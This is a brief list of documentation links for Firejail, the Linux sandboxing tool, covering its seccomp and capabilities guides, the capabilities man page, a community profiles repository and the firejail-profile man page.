Documentation
Firejail Seccomp Guide
http://man7.org/linux/man-pages/man7/capabilities.7.html
Firejail Linux Capabilities Guide
https://github.com/chiraag-nataraj/firejail-profiles
man firejail-profile